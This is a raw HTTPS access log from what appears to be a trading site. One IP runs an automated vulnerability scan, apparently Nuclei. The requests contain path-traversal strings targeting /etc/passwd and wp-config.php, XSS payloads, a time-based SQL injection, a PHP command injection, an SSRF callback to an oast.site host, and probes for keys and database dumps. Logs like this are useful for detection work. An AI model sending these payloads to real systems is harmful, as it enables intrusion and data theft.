[09/Jan/2026:10:52:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927409923 HTTP/1.1" -
[09/Jan/2026:10:52:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927422013 HTTP/1.1" -
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/sftp.json HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session_login.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/redirection/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://intranet:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /emergency.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/localhost.key HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws2020/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/v1 HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/oembed/1.0/proxy HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /readme.html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.wget-hsts HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eoffice10/server/public/iWebOffice2015/Document/eabyl.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Api/portal/elementEcodeAddon/getSqlData?sql HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /down_data.php?filename=../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application.wadl?detail=true HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /management HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file/fileNoLogin/%7B%7Bidname%7D%7D HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/tmm_db_migrate/tmm_db_migrate.zip HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpMyAdminOLD/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DesktopModule/UIQuestionControls/UIAskQuestion/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wgetrc HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //id.htm HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/rdf HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmodule-ee/login.seam HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wt2parser.cgi?home_en HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/elementor/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws-config.json HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter\\vcdb.properties HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../web.config HTTP/1.1" 226
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage/database/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Server/.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fckeditor/editor/filemanager/connectors/uploadtest.html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/updraftplus/includes/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //run.sh HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/database-backups/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inc/jquery/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/maint/repair.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webpack.config.js HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/scheduler/jobs HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redirect=cmsycsz3%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2fscript>bn76w HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/gateway/agentinfo HTTP/1.1" 199
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /StudioServer/server/apps/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mainfile.php?username=test&password=testpoc&_login=1&Logon=%27%3Becho%20md5(TestPoc)%3B%27 HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/weekender/friend.php?id=aHR0cHM6Ly9pbnRlcmFjdC5zaA== HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gtranslate/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/XUI/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stats/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.png HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1 HTTP/1.1" 3426
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/affwp-debug.log HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.sql HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/admin/system.users HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/bbpress/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backup-db/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?page=social-metrics-tracker-export&smt_download_export_file=1 HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gtrmb.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webpack.mix.js HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer-log.txt HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //temp.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jpeginfo/jpeginfo.php?url=d5g6sfahausljekepl20qbm7ubsznyawp.oast.site HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ThinClient/WTM/public/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/login HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php?action=login&type=admin HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordfence/lib/wordfenceClass.php?file=/../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysinfo.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.vscode/sftp.json HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/versalogo2.png HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy53Z2L9XEeRGpqqLrejdbzb/..;/host-manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/mail/ HTTP/1.1" 226
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/swagger-ui.html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/servlets/index.html HTTP/1.1" 226
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssl/trade.kingston.com.hk:443.key HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws2021/ HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /StudioServer/server/wwtest/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /site_cg/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 HTTP/1.1" 3426
[09/Jan/2026:10:52:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //je/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/application.wadl HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/123contactform-for-wordpress/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mstore-api/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /enginemanager/ftu/welcome.htm HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile-app/v3/?pid='+AND+(SELECT+6398+FROM+(SELECT(SLEEP(7)))zoQK)+AND+'Zbtn'='Zbtn&isMobile=chatbot HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adaptive-images/adaptive-images-script.php/%3Cimg/src/onerror=alert(document.domain)%3E/?debug=true HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/idx-broker-platinum/ HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlrpc.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /attachment/personal/_temp.php HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dump.sql HTTP/1.1" 196
[09/Jan/2026:10:52:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery HTTP/1.1" 196
